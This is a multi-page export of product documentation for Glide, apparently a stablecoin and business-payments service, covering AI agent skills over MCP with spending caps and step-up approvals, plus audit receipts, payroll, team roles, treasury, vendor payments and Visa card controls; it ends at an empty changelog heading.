## Preset examples
The packages include these Trust presets:
* **AP agent:** $2,500 per transaction and $10,000 per day. The counterparty allowlist starts empty; there is no automatic QBO or Xero vendor import.
* **Treasury:** $50,000 per transaction and $250,000 per day. The skill is blocked on live yield dependencies.
* **Market research cap:** $0.50 per call and $50 per day.
These are source-defined templates, not pricing claims or universal account limits. Review the live envelope before spending.
## Policy changes and grants
A grant records the policy version at issuance. A version mismatch can reject a later call. Refresh or obtain a new grant through the supported flow after a policy change; do not assume an already-authorized action has been cancelled.
Grant validation limits token lifetime to 60 minutes. Refresh also depends on scope, current policy and agent status.
## Review outcomes
Check the tool's result and any pending action. An accepted request or approval is not proof of settlement. If a call fails after submission, resolve its status before retrying.
## Next
* [Step-up approvals](/agents/step-up)
* [Receipts](/agents/receipts)
* [Kill switch](/agents/kill-switch)
# Connect your first agent
Source: https://glide-9da73dea.mintlify.app/agents/quickstart
Check integration availability, review agent permissions and make a read-only call.
Start with an integration available for your account. Setup and approval support depend on the skill, runtime and enabled services.
Open the [skills catalog](https://glide.co/skills). Review its dependency status, runtime compatibility and requested scopes. AP invoice reading, the Treasury skill and Payroll cosigner have blocked dependencies. See [Skills catalog](/agents/skills/catalog).
Choose the eligible entity or explicitly provisioned agent vault through the available setup flow. Personal accounts do not automatically receive treasury vaults.
Review the grant scopes, spending caps, chain and counterparty allowlists, and step-up threshold. The Trip budget package includes card-management permission; a balance query does not test that permission.
Follow the integration's authentication instructions. Use [Supported runtimes](/agents/runtimes) to check compatibility and the [MCP tool reference](/agents/api/index) for endpoints and schemas.
If the integration exposes `accounts.balance` and your grant includes `accounts:read`, request the authorized vault's balance. Check the response and account identity before continuing.
A connection error, unavailable dependency or empty result does not prove the integration is ready for payments.
Review the available activity records. Confirm how approval requests are completed before enabling writes. The current agent audit page and URL-mode approval page are not fully connected; do not treat their display as a completed audit or approval.
## Check a policy without sending funds
Where `payments.simulate` is available, use a request above the configured cap or outside the destination allowlist. Inspect the returned verdict. A simulation does not submit a payment or establish that a later payment will settle.
## Next
* [Skills catalog](/agents/skills/catalog)
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Supported runtimes](/agents/runtimes)
# Receipts and audit feed
Source: https://glide-9da73dea.mintlify.app/agents/receipts
Review agent activity records, payment receipts and available exports.
Use agent activity records to investigate requests and their outcomes. A tool-call audit event and a settled-payment receipt describe different stages. An accepted request does not establish that funds moved.
## Agent audit records
The MCP audit event includes the agent, entity, vault, grant, tool name, category, correlation identifier and policy version. Outcomes include `allow`, `deny`, `step_up_required` and `error`.
The event hashes the input and records selected fields, such as amount and chain. It does not store a full copy of every input and output. Audit delivery depends on the configured audit sink; a successful tool response alone does not prove that an audit event was stored.
## Payment receipts
Where a payment flow produces a receipt, review its payment identifier, status, amount and network reference. Use an on-chain transaction hash to inspect the corresponding transaction on a block explorer. An audit event is not a substitute for that settlement check.
See the [Receipt schema](/oss/standards/receipt) and [Agent activity event schema](/oss/standards/agent-activity-event) for their respective formats.
## View and export activity
Use the activity views available for your account. The current agent audit page does not provide a connected live stream, replay filters or working JSON/PDF export buttons. Do not interpret its empty state as proof that no actions occurred.
Owner and Admin access can query entity-scoped agent records through the forensics export API. It returns JSON data with optional agent and date filters. A signed PDF and a fixed export completion time are not provided by that API.
For an MCP integration, [`audit.stream`](/agents/api/audit-stream) defines the cursor contract. A usable stream also requires the deployment to provide the corresponding SSE endpoint.
## Tamper-evidence and failures
Append-only records and hashes help with later review. They do not reverse an external transfer. If receipt or audit delivery fails, verify the payment's status before retrying.
## Retention
The retention model defines hot, warm, cold and optional regulatory tiers. In the v0.35 source, the scheduled sweep returns `retention_enforcement_not_deployed`; it does not move or delete rows. An age threshold does not prove physical archival or deletion. See [Retention tiers](/oss/concepts/retention-tiers).
## Next
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Kill switch](/agents/kill-switch)
* [Data and privacy](/security/data-privacy)
# Supported runtimes
Source: https://glide-9da73dea.mintlify.app/agents/runtimes
Check skill compatibility, authentication and approval support for your agent runtime.
Glide exposes agent tools through MCP. Runtime support depends on the skill's compatibility list, the configured integration and the tools enabled for your account. A shared protocol does not make every skill available in every runtime.
## Catalog compatibility
The catalog names Claude Desktop, ChatGPT Apps, Google Vertex, OpenClaw and Hermes. Each skill lists its own runtime choices. Check that list and its dependency status before starting setup.
The AP variants target different runtimes and accounting systems, and both are blocked on their invoice integrations. ChatGPT submission materials do not establish an approved Apps catalog listing.
## Connect a runtime
1. Confirm that the integration is available for your account and skill.
2. Follow the setup instructions supplied by the runtime and Glide integration.
3. Review the requested scopes and the authorized entity or vault.
4. List the tools exposed by that connection and make an authorized read-only call.
5. Confirm how the runtime handles approval requests before enabling writes.
The MCP API uses category-specific endpoints under `https://mcp.glide.co/mcp/`. See the [tool reference](/agents/api/index) and [OAuth flow](/oss/headless/oauth-flow) for the server contract.
## Approval support
Use the prompt or approval URL returned by the integration. Inline prompts, voice access and mobile approval support vary. URL-mode approval is not fully connected in the current release. Do not treat an opened page as a completed approval.
## Change runtimes
A new runtime may require new authorization or configuration. Review its scopes and confirm its connection before relying on it. Existing catalog compatibility does not transfer credentials or establish access for another teammate.
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Skills catalog](/agents/skills/catalog)
# AP agent
Source: https://glide-9da73dea.mintlify.app/agents/skills/ap-agent
Review the planned vendor-payment skill, its policy presets and current integration limits.
The AP agent skill is designed to draft vendor payments inside a policy envelope. QuickBooks Online and Xero invoice reading is not enabled yet. Both catalog variants depend on the accounting and bill-payment integrations.
## Current availability
The catalog describes a Claude Desktop variant for QuickBooks Online and a ChatGPT Apps variant for Xero. These entries do not provide live invoice sync, vendor import or paid-invoice reconciliation. Runtime access also depends on the integration available for your account. See [Supported runtimes](/agents/runtimes).
For current payment workflows, use [Vendor payments](/business/vendor-payments). Where transaction export is offered, QuickBooks IIF and Xero CSV formats let you move records into compatible accounting software.
## Policy presets
The package includes spending presets. Its Trust preset uses a $2,500 per-transaction cap and a $10,000 daily cap. These are template values, not account limits or a guarantee that the skill can be installed.
The preset's counterparty allowlist starts empty. It does not import your accounting vendor list. Add approved destinations through the supported policy flow before allowing payments.
Review the actual envelope and approval threshold. The AP preset does not establish that every payment requires approval. For tools that evaluate `step_up_amount_cents`, a threshold of zero requests approval for any nonnegative amount, subject to the other policy checks.
## Intended tool access
The package requests:
* `accounts:read` for authorized account data.
* `payments:simulate` for payment checks.
* `payments:initiate` for payment requests.
* `beneficiary:write` for counterparty proposals.
* `audit:stream` for agent activity access.
Tool availability depends on the configured integration. A simulation or accepted request is not proof of payment settlement.
## Review a payment
Check the invoice in your accounting software and verify the recipient, amount and payment details. If an enabled payment flow requests approval, use the approval prompt shown on your device. Track the existing request to its final status before retrying.
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Skills catalog](/agents/skills/catalog)
# Skills catalog
Source: https://glide-9da73dea.mintlify.app/agents/skills/catalog
Review agent skill capabilities, policy presets and integration availability.
A skill packages tool permissions, policy presets and consent information. Runtime support depends on the integration available for your account. See [Supported runtimes](/agents/runtimes).
The [catalog](https://glide.co/skills) includes the entries below. A catalog entry does not establish that its dependencies or runtime integration are enabled.
## AP agent
The AP agent is designed to draft vendor payments inside a policy envelope. QuickBooks Online and Xero invoice reading is not enabled yet.
* **Claude Desktop variant:** depends on QuickBooks Online and bill-payment integration.
* **ChatGPT Apps variant:** depends on Xero and bill-payment integration, plus an available ChatGPT integration.
* **Trust preset:** $2,500 per transaction and $10,000 per day. The vendor allowlist starts empty.
* **Approval:** determined by the actual envelope and tool flow. The preset does not establish an every-payment approval default.
[Read about the AP agent](/agents/skills/ap-agent).
## Treasury
The Treasury skill describes policy-scoped allocation between Aave, Morpho, Kamino and idle funds. It is blocked on live yield infrastructure.
* **Intended actions:** read authorized balances and request yield allocations.
* **Trust preset:** $50,000 per transaction and $250,000 per day.
* **Approval:** uses the configured allocation step-up threshold where the integration is enabled.
Automatic rebalancing and target-percentage controls are not available. [Read about Treasury](/agents/skills/treasury).
## Trip budget
The Trip budget package requests `accounts:read`, `cards:manage`, `payments:simulate` and `audit:stream`. Card issuance depends on the configured issuer and your eligibility. ChatGPT runtime access depends on an available integration.
Its Trust preset uses $1,000 per transaction and $3,000 per day. Review both the envelope and the controls confirmed for the issued card. [Read about Trip budget](/agents/skills/trip-budget).
## Market research cap
This package requests `x402:pay`, `x402:receive` and `audit:stream` for paid API access. It does not provide general vendor-payment or freelance-purchasing tools.
Its Trust preset uses $0.50 per call and $50 per day. Check the actual envelope before allowing paid requests.
## Payroll cosigner
This catalog entry is blocked on the agent payroll integration. It describes payroll review and payment requests; it does not establish that tax checks, anomaly review or cosigning are enabled.
The business [payroll workflow](/business/payroll) has its own access and execution requirements. See [`payroll.run`](/agents/api/payroll-run) for the separate MCP contract.
## Install an available skill
Review dependency status, requested scopes and runtime support before installing. Confirm the actual policy and start with a read-only call supported by that skill. See [Quickstart](/agents/quickstart).
## Next
* [Policy envelope](/agents/policy-envelope)
* [Receipts](/agents/receipts)
* [Supported runtimes](/agents/runtimes)
# Treasury
Source: https://glide-9da73dea.mintlify.app/agents/skills/treasury
Review the treasury allocation skill's policy presets and live-yield dependency.
The Treasury skill is designed to request yield allocations within an approved policy envelope. Its catalog entry is blocked on live yield infrastructure. It does not provide automatic rebalancing or continuous yield optimization.
## Allocation controls
The `yield.allocate` contract accepts a source protocol, destination protocol, chain, token and amount. Its protocol choices are Aave, Morpho, Kamino and idle funds. A listed protocol is not confirmation that a route is enabled.
The policy engine checks amount caps, approved destinations, chains and transaction frequency. It does not enforce target percentages or minimum and maximum portfolio weights. Review [Policy envelope](/agents/policy-envelope).
The package's Trust preset uses a $50,000 per-transaction cap and a $250,000 daily cap. Review the installed envelope before allowing any allocation. Template values do not establish an account's available balance or limits.
## Availability and approvals
When the yield dependency is unavailable, `yield.allocate` returns `yield_v3_blocked`. Where allocation is enabled, the tool evaluates the configured step-up threshold. Follow the approval flow provided by that integration and track the allocation's status.
An allocation request is not a settled deposit. Review the current rate, fees, custody arrangements and withdrawal terms before acting. Yield varies; crypto balances are not deposit-insured.
## Business treasury
You can use the [treasury actions](/business/treasury) available for your account independently of this skill. Keep enough liquidity for your operating needs; this skill does not maintain an automatic operating reserve.
## Next
* [Quickstart](/agents/quickstart)
* [Policy envelope](/agents/policy-envelope)
* [Skills catalog](/agents/skills/catalog)
* [yield.allocate](/agents/api/yield-allocate)
# Trip budget
Source: https://glide-9da73dea.mintlify.app/agents/skills/trip-budget
Manage a virtual card within a trip budget and policy you approve, where card issuance is available.
The Trip budget skill gives ChatGPT access to a scoped virtual card and its budget. It requests `cards:manage`, so review the card permissions before you install it. Card issuance depends on the configured issuer and your account's eligibility.
## What gets installed
The package requests these scopes:
* `accounts:read`: read the authorized vault's account data.
* `cards:manage`: issue and manage a card.
* `payments:simulate`: check a proposed payment against policy.
* `audit:stream`: access the agent's audit stream.
The package Trust preset caps are $1,000 per transaction and $3,000 per day. Review the actual policy at installation and use limits appropriate to your trip.
## What the agent can do
The MCP tools include `accounts.balance`, `cards.issue`, `cards.freeze`, `payments.simulate` and `audit.stream`. The catalog does not expose `trip.list`, `trip.balance`, `trip.transactions` or `trip.forecast` tools.
The MCP card-issuance contract accepts a funding cap, merchant-category filters and an optional expiry. These are requests to the configured issuing integration, not proof of enforcement. Check which controls the issuer confirms. Consumer card controls currently reject merchant and category locks; do not assume those settings apply to every card. The skill package does not itself provide a scheduled card-revocation service.
## Check the permissions
Start with a balance query, then review the audit feed. A read-only query does not exercise the skill's card-management permission. Review the card and policy before authorizing spending.
## Next
* [Quickstart](/agents/quickstart)
* [Receipts](/agents/receipts)
* [Skills catalog](/agents/skills/catalog)
# Step-up approvals
Source: https://glide-9da73dea.mintlify.app/agents/step-up
Review agent approval requests and distinguish policy denials from actions awaiting approval.
Step-up requests human approval for an action that meets the tool's approval conditions. Use the approval prompt shown on your device. The method depends on your account and integration.
## When approval is required
For payment tools that evaluate the envelope, an amount **at or above** `step_up_amount_cents` requests step-up if the other policy checks pass. `agent.grant.issue` and `vault.rotateSigner` require approval independently of the payment amount. Other tools can declare human-approval requirements that their configured integration must implement.
An amount-cap breach, an unapproved destination or an exceeded transaction-frequency limit is a denial. Approval does not override that denial. Read-only calls and permitted actions below an applicable threshold do not each require approval.
There is no universal every-payment approval default across skills. Review the installed envelope and the specific tool's requirements.
## Review the request
Check the agent, requested action, amount and destination. For access changes, review the requested permissions or signing key. Approve only through the flow provided for that action.
Lock-screen approval, Face ID and a particular passkey or two-factor method are not guaranteed. URL-mode approvals are not fully connected in this release; opening an approval page alone does not authorize the action. If the flow cannot complete, keep the action pending and contact support.
## Follow the existing action
For `payments.initiate`, a step-up response refers to a pending payment. Follow its supplied approval URL and track that payment. Do not create a second payment to work around an incomplete approval.
Some treasury tools use a two-call contract: request approval, then submit a single-use approval token with the original parameters. Use that pattern only when the tool's input schema includes `step_up_sigil`. See the [tool reference](/agents/api/index).
## What approval means
Approval authorizes a specific action. It does not establish that a payment, signer change or allocation has settled. Review the recorded outcome and any required vault signatures.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Receipts](/agents/receipts)
* [Kill switch](/agents/kill-switch)
# Corporate cards
Source: https://glide-9da73dea.mintlify.app/business/corporate-cards
Review Visa card availability, issuer-supported limits and card status for your business.
Business accounts can access corporate Visa cards where enabled. Review the issuing partner's eligibility, fees and the controls supported for your account.
## Issue and manage a card
Open **Cards** where available. Choose an offered card format and follow the issuance, activation or delivery instructions. Card access depends on the account that owns the card; an entity role alone does not grant access to every card.
## Spending limits
You can set **daily and monthly limits** when the issuing partner supports them. Check that the app confirms the limits have been saved.
Merchant and category locks are unavailable. Per-transaction, lifetime and region restrictions are not available through these card controls. You cannot select an arbitrary entity currency as the card's funding currency.
For recurring vendor costs or travel, set supported limits appropriate to the spend and review the card's activity. A spending limit does not set an expiry date or restrict the card to one merchant.
## Review card activity
Review the transactions and status shown for your card. An activity record does not establish that an unsupported spending restriction was enforced.
## Foreign transactions
Currency conversion and card fees follow the issuing partner's terms. Review [pricing](https://glide.co/pricing) and the terms applicable to the card.
## Freeze and unfreeze
Select the card and choose **Freeze** where available. Confirm that its status changes. Unfreezing also depends on issuing partner support. If either action fails, check the status before retrying.
After you remove a teammate, review any cards they still hold and freeze them through an authorized account where that control is available. Teammate removal does not automatically freeze cards.
For a replacement card, use the support route shown for your card.
## Accounting exports
Where transaction export is offered, you can download a generic CSV, a Xero CSV or a QuickBooks IIF file. Check the import format accepted by your accounting software. Live QuickBooks Online and Xero invoice sync, paid-invoice matching and automatic reconciliation are not available.
## Disputes
For an incorrect or unauthorized charge, use the support route for your card. The issuing partner's dispute process applies. See [Disputes](/cards/disputes).
## Next
* [Card limits and controls](/cards/limits-and-controls)
* [Apple Pay and Google Pay](/cards/apple-google-pay)
* [Team and roles](/business/team-roles)
# Glide for businesses
Source: https://glide-9da73dea.mintlify.app/business/index
Multi-entity accounts. Stablecoin payroll. Corporate cards. Cross-border payments. From pre-seed to Series C.
Business accounts provide **entity-level structure** (so you can hold multiple companies under one admin), **team workflows** (roles, permissions, approval flows), and **operations features** (payroll, treasury, vendor payments, corporate cards).
Business entity vaults and approval controls are unchanged in v0.35. Personal accounts use separate Privy embedded wallets. Regulated financial services are provided by licensed partners.
## Who Glide for business is for
Token projects, DAOs, exchanges, custody businesses. Service availability depends on your business and partner requirements.
Pre-seed to Series C. Pay distributed teams on supported routes with stablecoin or fiat.
Manage entity accounts and pay vendors through enabled routes.
Business vaults, supported yield actions and corporate cards where enabled.
## Available workflows
* **Manage multiple entities.** Subsidiaries, holdcos, special-purpose vehicles, side projects. All under one signed-in user. Switch contexts in the dashboard with one tap.
* **Bank receiving details** where enabled for the entity. Current fiat deposits support USD ACH/wire and EUR SEPA through Noah.
* **Corporate Visa cards, where available.** Set daily and monthly limits when supported by the issuing partner. Confirm the saved limits and card status in the app.
* **Payroll.** Upload and validate a run, then execute through the flow available to your entity. USDC and bank payments depend on enabled routes.
* **Vault approvals.** Configure signers and the required signatures for business transfers.
* **Activity records.** Review recorded transactions and their status.
## How verification works for businesses
Business accounts require KYB (Know Your Business). Follow the provider's identity-check requirements for beneficial owners and controllers.
**Prepare the information requested by the verification provider:**
* Legal name and registration number of the entity.
* Country of incorporation.
* Beneficial-owner and controller details required by the provider.
* A short description of the business.
Verification time depends on the provider, entity and documents required.
See [Identity verification](/accounts/identity) for what each individual needs to provide.
## Pricing
Review the rate and fee before confirming a payment. Transfer fees are published per rail and quoted with the transfer, before you confirm it.
Full pricing at [glide.co/pricing](https://glide.co/pricing).
## Compliance for crypto-native businesses
Service availability depends on your business and partner requirements. Glide provides:
* **Account support** for questions about your business setup.
* **Activity records** for reviewing your business payments.
* **Partner-provided services.** Fiat follows the relevant banking or EMI partner's custody and deposit-protection rules. Glide is not a bank, and crypto balances are not deposit-insured.
Talk to us at [hi@glide.co](mailto:hi@glide.co) before opening if your structure is unusual.
## Next
* [Multi-entity setup](/business/multi-entity)
* [Team roles](/business/team-roles)
* [Corporate cards](/business/corporate-cards)
* [Payroll](/business/payroll)
* [Treasury](/business/treasury)
# Multi-entity setup
Source: https://glide-9da73dea.mintlify.app/business/multi-entity
Manage multiple entities under one signed-in account. Subsidiaries, holdcos, SPVs, side projects. All in one dashboard.
If you run more than one company, Glide's multi-entity model lets you operate them all from one signed-in admin without juggling separate accounts.
## What an entity is
An entity is a legal company, such as an LLC, Inc, Ltd or GmbH. Each entity gets:
* Its own KYB (separate from the admin's KYC).
* Entity-scoped account and vault records. Fiat custody follows the relevant partner terms.
* Card services where enabled.
* Entity-scoped activity records.
* Its own beneficial-owner attestations.
The admin user is a separate concept. You sign in once. Inside the dashboard, you switch context between entities you have access to.
## Setting up
First entity is created during signup. Complete the entity and individual verification requested by the provider.
From the dashboard, **Entities → Create entity**. Provide the legal name, registration number, country, and beneficial-owner detail. KYB runs on this entity independently; timing depends on the review.
Top-left of the dashboard shows the active entity. Tap it to see the entity picker. The dashboard re-renders to show the active entity's balances, cards, payroll, and activity.
## Permission model
Permissions are **per entity**. The admin user has access by default; teammates can be invited per entity with a specific role. A teammate with **Finance** role on Entity A doesn't see anything in Entity B unless they're separately invited there.
See [Team roles](/business/team-roles) for the full role matrix.
## When to use multi-entity vs separate accounts
**Use multi-entity when:**
* You're the same human across all the companies (e.g., you're the founder of multiple).
* You need to switch between entity contexts in one account.
* The companies share a beneficial owner (you).
**Use separate accounts when:**
* The companies have meaningfully different beneficial owners and you don't want one admin user with cross-entity access.
* The companies operate in different jurisdictions where regulatory reasons require separate banking relationships.
* You're an accountant or operator managing multiple unrelated clients (in which case each client opens their own).
## Holdco / opco structures
For holding-company and operating-company setups, select the correct source entity and recipient for each transfer. Review the available route and fees before transferring. Record the purpose and reconcile the transfer in your own accounts.
Each entity has its own verification. Check the partner's terms for that entity. Available reports do not establish compliance with local regulatory requirements.
## SPVs and side projects
If a project operates through a separate entity, add that entity through **Entities → Create entity** and complete its required verification. Check your access, account setup and partner terms before transferring funds.
## Larger entity structures
Contact [hi@glide.co](mailto:hi@glide.co) if you need help setting up a larger group. Confirm the available limits and permissions before onboarding your entities.
## Next
* [Team roles](/business/team-roles)
* [Corporate cards](/business/corporate-cards)
* [Identity verification](/accounts/identity)
# Stablecoin payroll
Source: https://glide-9da73dea.mintlify.app/business/payroll
Upload and review payroll runs, use supported payment methods and track each recipient's result.
Glide supports payroll CSV runs with USDC as the default run currency. The upload accepts wallet and bank-payment details. Payment execution depends on the methods enabled for your entity and recipients.
## Prepare a run
1. Upload a payroll CSV with each recipient's name, amount, currency and payment method. Include the required wallet or bank details.
2. Resolve validation errors and review the run total, available balance and recipient rows.
3. Submit the run through the execution or vault-proposal flow available for your entity.
4. Track the run and each payment until its outcome is known.
A payment method accepted in the CSV is not confirmation that the route is available. Check the destination and supported network before submitting.
## Receiving methods
* **USDC wallet.** Use a supported network and the recipient's correct wallet address. Network confirmation and screening affect execution.
* **Local bank.** Use a bank payout method enabled for that recipient. The name shown at the receiving bank is set by the payment partner, not by Glide.
## Permissions and approvals
Entity members can upload and validate payroll. Executing or retrying a run requires finance access: Owner, Admin or Finance. Execution also requires approved identity verification.
Use the approval policy shown in the app. If your entity requires vault routing, submit the batch through its vault proposal flow and obtain the required signatures. There is no universal Finance-plus-Admin approval rule or monthly dollar threshold.
## Schedules
Where scheduling is available, an Owner or Admin can configure **weekly**, **biweekly** or **monthly** schedules. Runs can be generated from active contracts with payment details; off-cycle generation is also supported.
Scheduled automatic execution is off by default. Where enabled, it requests processing for due runs. Check the resulting run status, funding and approval requirements. Scheduling does not guarantee settlement on a particular day. There is no daily schedule option.
## Costs and failed payments
Review the rate, fees and receiving amount where quoted. Network, bank and partner charges can vary. See [pricing](https://glide.co/pricing).
If a payment fails or its outcome is uncertain, check its recorded status before retrying. Do not assume an unavailable route automatically switches to another method.
## Records and tax handling
Review run history and individual payment results. Use the reports or exports available for your account. Do not assume that each run includes a PDF or that year-end reports arrive on a fixed date.
Glide's payment workflow does not replace payroll tax or employment administration. Use the records to support your review with your payroll provider or accountant.
## Next
* [Vendor payments](/business/vendor-payments)
* [Treasury](/business/treasury)
* [Stablecoin overview](/stablecoins/overview)
# Team and roles
Source: https://glide-9da73dea.mintlify.app/business/team-roles
Understand entity roles, vault signing authority and teammate access.
Business permissions apply per entity. A role on one entity does not grant access to another.
## Role matrix
The entity roles are **Owner**, **Admin**, **Finance**, **Member** and **Accountant**. The shared authorization checks grant these permissions:
| Role | Member access: account reads, payroll upload and validation | Finance access: propose transfers, execute or retry payroll | Admin access: invite teammates, configure vault policies and payroll schedules |
| -------------- | ----------------------------------------------------------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------ |
| **Owner** | Yes | Yes | Yes |
| **Admin** | Yes | Yes | Yes |
| **Finance** | Yes | Yes | No |
| **Member** | Yes | No | No |
| **Accountant** | Yes | No | No |
These are entity permission gates. Individual actions can also require identity verification, account ownership or vault access. The Accountant role passes the member gate, including payroll upload and validation; it does not pass the finance or admin gate. Private vault balances and history have separate visibility checks.
Card management checks ownership of the card's account. The matrix does not grant card issuance or freeze access across an entity.
## Vault approvals
An entity role does not make you an on-chain signer. Transfer approval depends on vault membership, signing authority and the vault's required signatures. An eligible Member can be a vault signer without gaining finance access to initiate transfers.
Review the amount, destination, network and proposal before approving with the method shown for your account. Follow the proposal's status through execution. A collected signature is not proof that the transfer has settled.
## Invite a teammate
An Owner or Admin can invite a teammate to an entity. Choose the access offered in the invitation flow and have the teammate accept the invitation.
The invitation flow labels vault access as **Admin**, **Signer** or **Viewer**. These map to entity roles Admin, Member and Accountant respectively. They are not additional entity roles. A signer invitation may also need an on-chain membership proposal before the teammate can sign.
## Remove a teammate
The entity's owning user can remove a teammate. This operation removes entity membership and attempts to create the required on-chain removal proposals. Review any reported blockers and complete those proposals; app access removal does not by itself remove every on-chain permission.
Review the teammate's cards separately. Removal does not automatically freeze them. Keep the activity records you need for your own review.
## Short-term access
Choose the access needed for the engagement and review it when the work ends. Remove access manually when it is no longer needed.
## Programmatic access
For scoped agent access, see the [MCP tool reference](/agents/api/index). The [Partner API](/partners/index) exposes consented personal user data and partner payouts; it does not expose a user's business-entity data.
## Next
* [Multi-entity setup](/business/multi-entity)
* [Corporate cards](/business/corporate-cards)
* [Vendor payments](/business/vendor-payments)
# Treasury
Source: https://glide-9da73dea.mintlify.app/business/treasury
Manage business vaults and review the yield actions available for your account.
Business treasury uses entity vaults with configured signing and approval controls. Personal accounts use separate Privy embedded wallets.
## Review yield options
Use the yield actions shown for your account. Check the strategy, asset, network, fees and withdrawal terms before committing funds. A strategy listing does not establish that deposits are enabled for your account.
Glide can display yield positions and record supported deposits and withdrawals. Follow the wallet confirmation or vault proposal flow required for the selected action.
Automatic rebalancing, target-percentage allocations and an automatic operating reserve are not available. Review your liquidity needs before each allocation.
## Risk and custody
Yield varies and is not guaranteed. Strategies can carry market, liquidity and smart-contract risks. Review the applicable custody and redemption terms. Crypto balances are not bank deposits and are not deposit-insured.
## Agent treasury
The [Treasury skill](/agents/skills/treasury) describes a policy-scoped allocation integration. Its catalog entry is blocked on live yield dependencies. It does not provide continuous optimization or automatic rebalancing.
You can use the treasury actions available to your account independently of the agent skill.
## Pricing and access
Review [pricing](https://glide.co/pricing) and the fees for the selected strategy. Contact [hi@glide.co](mailto:hi@glide.co) if a required strategy is unavailable.
## Next
* [Treasury skill](/agents/skills/treasury)
* [Stablecoins overview](/stablecoins/overview)
* [Vendor payments](/business/vendor-payments)
# Vendor payments
Source: https://glide-9da73dea.mintlify.app/business/vendor-payments
Pay vendors through enabled bank or USDC routes and review your business approval requirements.
For a bank payment, choose the **receiving currency**, then the **recipient** and **amount**. Review the **live quote** and confirm with the required wallet. Business vault payments use the entity's proposal and signing controls. See [Send money](/money/send).
## Save recipient details
Save the vendor's name, account details and receiving currency through the recipient flow available for your account. Review the details on each payment. Saving a recipient does not grant standing approval or add the destination to an agent's policy allowlist.
## Approvals
Review your entity's current approval policy before submitting a payment. For vault transfers, check the required signers and follow the proposal through execution. A recurring vendor relationship does not bypass these controls.
## QuickBooks and Xero
Where transaction export is offered, download a generic CSV, a Xero CSV or a QuickBooks IIF file. Check the import format accepted by your accounting software and reconcile the records there.
Live invoice sync from QuickBooks Online or Xero is not available. The [AP agent skill](/agents/skills/ap-agent) is also blocked on those integrations. Glide does not automatically mark invoices as paid in your accounting software.
## Cross-border payments
Choose a method enabled for your account and recipient:
* **USDC.** Use a supported network and check the destination wallet.
* **Bank payment.** The currency-first Noah flow offers USD ACH/Fedwire and EUR SEPA. Other channels are offered only when available for the selected destination.
Review the rate, fees and receiving amount before confirming. A currency directory or connector listing does not establish live payout coverage.
## Failed or uncertain payments
Check the payment status and any partner error before retrying. A failed submission does not establish that funds have returned. If the outcome is uncertain, contact support with the payment reference and resolve it before creating another payment.
## Next
* [AP agent skill](/agents/skills/ap-agent)
* [Send money](/money/send)
* [Team and roles](/business/team-roles)
# Apple Pay and Google Pay
Source: https://glide-9da73dea.mintlify.app/cards/apple-google-pay
Check whether your issued card can be added to Apple Pay or Google Pay.
Wallet provisioning depends on your issued card, account, region and the issuing partner. Check the options available for your card rather than assuming support on every device.
## Add an eligible card
If your card's web management page offers **Add to Apple Pay** or **Add to Google Pay**, follow that action and the verification instructions shown. Confirm that the card appears in the device wallet before using it.
The v0.35 consumer mobile app has no Cards bottom tab. See [Cards](/cards/overview) for current navigation and availability.
## If adding the card fails
Check that the card is active and that the wallet service supports your device and region. Follow any issuer verification prompt. If you still need help, contact [hi@glide.co](mailto:hi@glide.co).
Do not share your full card number, security code or verification code in a support message.
## Next
* [Cards](/cards/overview)
* [Card limits and controls](/cards/limits-and-controls)
# Card disputes
Source: https://glide-9da73dea.mintlify.app/cards/disputes
Get help with an unfamiliar, duplicate or incorrect card charge.
If you do not recognize a card charge, review its details and contact [hi@glide.co](mailto:hi@glide.co) promptly. Disputes are handled under the issuing partner's process and applicable card-network rules.
## Information to prepare
* The transaction date, merchant, amount and currency.
* Why the charge appears incorrect or unauthorized.
* Receipts, order details or cancellation confirmation where relevant.
* Any response you received from the merchant.
For a non-fraud issue, contacting the merchant may help resolve the charge. Do not send full card credentials or sign-in codes to support.
## Suspected unauthorized use
Freeze the card if the control is available and confirm the updated status. If you cannot access card management, tell support that you suspect unauthorized use.
## What happens next
Follow the issuing partner's instructions for submitting evidence and meeting deadlines. Review time, provisional credit and the outcome depend on the case and applicable terms. A refund or provisional credit is not guaranteed.
## Next
* [Cards](/cards/overview)
* [Card limits and controls](/cards/limits-and-controls)
* [Security and wallet backup](/security/two-factor)
# Card limits and controls
Source: https://glide-9da73dea.mintlify.app/cards/limits-and-controls
Use the controls available for your card and check its current status.
Card controls depend on your card program and the options available for your account. The v0.35 consumer mobile navigation does not include a Cards tab; see [Cards](/cards/overview).
## Freeze and unfreeze
Where card management is available on web, select your card and choose **Freeze**. Check that its status changes to frozen. Use **Unfreeze** to reactivate it when appropriate.
If the action fails, do not assume the card status changed. Retry or contact [hi@glide.co](mailto:hi@glide.co). Freezing a card does not itself cancel a subscription or reverse an existing charge.
## Spending limits
Daily and monthly limits are available when supported by the issuing partner. Check that the app confirms a change has been saved. Merchant and category locks are unavailable.
## Business cards
Business card and team permissions remain separate from personal wallet controls. See [Corporate cards](/business/corporate-cards) for the business context.
## Next
* [Cards](/cards/overview)
* [Card disputes](/cards/disputes)
* [Apple Pay and Google Pay](/cards/apple-google-pay)
# Visa cards
Source: https://glide-9da73dea.mintlify.app/cards/overview
Card access and features depend on your account, verification and the issuing partner.
Glide's card product is a Visa card. Card issuance and use are subject to the issuing partner's eligibility, terms and availability.
## Availability in v0.35
The mobile app's bottom tabs are **Home**, **Pay**, **Swap**, and **Recipients**. The former consumer card page and home card promotion have been removed. Opening a personal account does not guarantee that a card is available to order.
If card management is available in your web dashboard, use the card options shown there. Complete verification when prompted and review the terms and fees before requesting a card.
## Existing cards
Use the available card controls to review activity and freeze or unfreeze a card. Check that the updated status appears before relying on the change. Contact [hi@glide.co](mailto:hi@glide.co) if you cannot access an existing card or need help with a charge.
## Fees and conversion
Check the issuing partner's terms and [Glide pricing](https://glide.co/pricing). Do not assume that every card has the same limits, delivery options, conversion rate or fees.
## Next
* [Card limits and controls](/cards/limits-and-controls)
* [Apple Pay and Google Pay](/cards/apple-google-pay)
* [Card disputes](/cards/disputes)
# Changelog
Source: https://glide-9da73dea.mintlify.app/changelog
What changed in Glide, newest first.
## 0.36 — 13 September 2026
